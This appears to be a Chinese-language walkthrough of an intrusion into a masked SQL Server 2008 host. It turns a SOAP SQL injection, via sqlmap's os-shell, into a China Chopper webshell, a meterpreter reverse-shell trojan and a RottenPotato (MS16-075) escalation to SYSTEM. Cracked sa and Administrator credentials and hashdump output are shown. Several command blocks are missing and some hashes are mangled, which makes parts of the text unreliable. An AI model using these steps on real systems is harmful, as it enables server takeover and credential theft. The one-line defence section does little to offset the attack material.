在實際成功滲透過程中,漏洞的利用都是多個技術的融合,最新技術的實踐,本次滲透利用sqlmap來確認注入點,透過sqlmap來獲取webshell,結合msf來進行ms16-075的提權,最終取得了目標伺服器的系統權限。本文算是漏洞利用的一個新的拓展,在常規Nday提權不成功的情況下,結合msf進行ms16-075成功提權的一個經典案例。
1.1.1掃描soap注入漏洞
1.使用awvs中的web services scanner進行漏洞掃描 開啟awvs,選擇web services scanner進行漏洞掃描,如圖1所示,在wsdl url中填寫目標url位址,注意一定是asmx?wsdl,有的是有asmx文件,如果沒有則可以直接填寫,例如:http://1**.***.***. ***:8081/?wsdl。
圖1進行soap注入漏洞掃描
2.處理sql盲注
# 透過awvs掃描,確認該url位址存在sql盲注(26處),在awvs中,點擊右邊的“view http headers”,將其內容複製到一個文字檔案中,同時處理存在漏洞的語句,在本例中例如:
需要將紅色字圖部分更換為”-1*」。
3.完整的header套件內容如下:
POST /Service1.asmx HTTP/1.1
Content-Type: text/xml
#SOAPAction : "http://tempuri.org/ZcpdList"
Content-Length: 716
X-Requested-With: XMLHttpRequest
#Referer: http://1* *.***.***.***:8081/?wsdl
Host: 1**.***.***.***:8081
Connection : Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0. 2228.0 Safari/537.21
Accept: */*
< ;SOAP-ENV:Body>
< urn :string>
Response1.1.2確認soap注入漏洞 1.使用sqlmap偵測是否有sql注入漏洞 將前面的header中的內容儲存為1**.***.***.***.txt,將該檔案複製到sqlmap.py程式所在目錄,執行指令:sqlmap.py -r 1**.***. ***.***.txt,對sqlmap提示的資訊進行確認:
custom injection marker ('*') found in option '--data'. Do you want to process it ? [Y/n/q] [color=Red]y[/color]
SOAP/XML data found in POST data. Do you want to process it? [Y/n/q][color= Red]y[/color]
圖2 存在soap注入漏洞
2.查看資料庫是否dba權限(1)自動提交參數進行測試如圖3所示,執行指令:sqlmap.py -r 1**.***.***.***.txt --is-dba --batch後,也要兩次確認y,由於使用了參數“batch”,sqlmap會自動進行提交判斷值。
(2)取得目前資料庫使用的使用者是dba帳號。 如圖4所示,在sqlmap中取得目前使用者是dba,顯示結果為true。此結果顯示資料庫是使用sa權限,可以透過os-shell參數來取得webshell。
3.取得sa帳號密碼
如圖5所示,使用指令sqlmap.py -r 1**.***.***.***.txt --password -- batch直接取得該資料庫連線的所有帳號對應的密碼值:
#圖5取得sa帳號密碼
#4.破解sa帳號密碼 成功在前面透過sqlmap成功取得其資料庫密碼雜湊值:
##MS_PolicyEventProcessingLogin## [1]:
password hash: 0x01001a7b0c5b5b347506a67fffp ecutionLogin## [1]:
password hash: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:
password hash: 0x90001c 85076b 5d2de6297e28 將sa對應的密碼值「0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28」在www.cmd5.com進行查詢,如圖6所示,其解密結果為「qaz123WSX」。
圖6解密sa密碼雜湊值
#1.1.3透過--os-shell取得webshell1.取得os-shell在sqlmap中執行指令:sqlmap.py -r 1**.***.***.***.txt --os-shell,在sqlmap執行視窗中確認訊息:
也可以執行sqlmap.py -r 1**.***.***.***.txt --os-shell --batch指令不用手動輸入。
2.尋找web程式所在目錄
(1)查看文件及目錄
執行dir c:\指令後,可以查看c目錄及文件,繼續查看“ dir c:\inetpub\wwwroot」如圖7所示,在該資料夾中無web程序,排除該目錄。
圖7檢視檔案及目錄
(2)取得網站真實目錄 依序檢視c、d、e、f盤,在e盤取得疑似網站程式文件,使用指令進行檢視dir e:\software\AMS_NoFlow,如圖8所示。
圖8查看網站檔案
3.測試網站真實目錄
(1)產生檔案測試如圖9所示,使用echo指令:echo "thisis test">e:\software\AMS_NoFlow\t.txt,在網站根目錄下產生t.txt檔案。內容為thisis test。
圖9產生檔案
(2)網站存取測試
在瀏覽器中輸入位址http:// 1**.***.***.***/1.txt進行測試,如圖10所示,取得內容與預期一致,目錄為網站真實實體位址。
圖10網站存取測試
4. 取得web.config設定檔內容
在os- shell中,執行type e:\software\AMS_NoFlow\web.config指令查看web.config檔中的內容,在sqlmap指令視窗由於設定問題,可能無法查看其完整的內容,不過sqlmap在其output目錄下,會保持詳細情況,如圖11所示,開啟其log文件,可以看到其sa帳號對應的密碼為qaz123WSX,跟前面破解的sa密碼一致。
圖11查看web.config設定檔內容
5.取得ip位址資訊
如圖12所示,在os-shell中執行ipconfig指令,即可取得該目標的IP位址設定情況,該目標對外配置獨立外網IP和內網IP位址,在os-shell中還可以執行其它指令。
圖12取得IP位址
6. 取得webshell測試
(1)產生shell檔案
在os-shell中執行指令:
echo ^^ > e:\software\AMS_NoFlow\cmd.aspx
如圖13所示,回顯結果顯示1,無其它訊息,表面產生檔案指令成功。
圖13 產生webshell
(2)取得webshell 使用中國菜刀後門管理工具,建立記錄http://1**.***.***.***/cmd.aspx,一句話後門密碼:pass,如圖14所示,連線成功,成功取得webshell。
圖14取得webshell
1.1.4常規方法提權失敗
1.產生系統訊息檔案 在os-shell中執行指令:
2.下載Windows-Exploit-Suggester程式Windows-Exploit-Suggester下載位址:https://github. com/GDSSecurity/Windows-Exploit-Suggester/
3.更新漏洞庫並進行漏洞比對 在python中執行windows-exploit-suggester.py -u進行更新,同時對漏洞庫進行比對: windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt,如圖15所示。
圖15進行漏洞比對
4.查看漏洞 在C:\Python27目錄開啟SYD1-0081DSB-day .txt文件,如圖16所示,可以看到程式判斷該作業系統為windows 2008 R2版本,且存在多個漏洞,最新漏洞為ms16-075。
圖16查看漏洞情況
#5.對存在的漏洞進行提權測試 依照漏洞編號,找出並整理exp文件,在目標伺服器上進行提權測試,除ms16-075exp外,測試均失敗,無法提權。
1.1.5借助msf進行ms16-075提權
1.使用msf產生反彈木馬
在msf下面執行指令:
#其中windows/meterpreter/reverse_tcp反彈連接埠類型,lhost是反彈連接的伺服器Ip位址,注意該ip位址必須是獨立伺服器,或者必須是外網連接埠映射,換句話說,就是反彈必須能夠接收,lport為反彈的端口,4433為產生的程式。
2.在監聽伺服器上執行監聽指令
(1)啟動msf
msfconsole
(2)設定meterpreter參數
#3.上傳4433.exe程式到目標伺服器及執行
將4433.exe檔上傳到目標伺服器,並透過中國彩刀或者os-shell進行執行。
4.檢視系統資訊
如圖17所示,目標反彈到監聽伺服器上,執行sysinfo,取得其係統資訊。
圖17取得系統資訊
5.使用meterpreter自帶提權功能失敗
在meterpreter分別執行getuid和getsystem指令,如圖18所示,未能成功提權。
圖18使用預設meterpreter提權失敗
6.使用ms16-075進行提權
# (1)ms16-075可利用exp下載https://github.com/foxglovesec/RottenPotato
(2)上傳potato檔案
透過webshell上傳potato.exe文件,或在msf下方執行指令上傳:upload /root/potato.exe
#(3)取得系統權限 依序執行下列指令:
#如圖19所示,成功取得系統權限。
圖19取得系統權限tokens
在meterpreter下執行指令:run hashdump指令,如圖21所示,成功取得此伺服器密碼雜湊值:Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581de6032020
圖21取得密碼
圖22破解ntlm雜湊值
7.登入伺服器 透過nmap -sS -Pn -A 1**. ***.***.***或masscan -p 1-65535 1**.***.***.***進行端口掃描,發現該伺服器開放3389端口,使用mstsc進行登錄,如圖23所示,成功登入該伺服器。
圖23成功登入伺服器
1.1.6總結與防禦
1.本滲透主要指令匯總
(1)sqlmap執行指令#(2)os-shell下執行指令
(3)msf下執行指令產生反彈木馬:
(5)ms16-075提權指令
(6)取得密碼run hashdump
(8)mimikatz命令列下取得密碼(未做測試)
3.安全防禦
(1)對soap參數進行過濾,過濾危險的一些導致sql注入的參數。
以上是soap注入某sql2008伺服器結合msf如何進行提權的詳細內容。更多資訊請關注PHP中文網其他相關文章!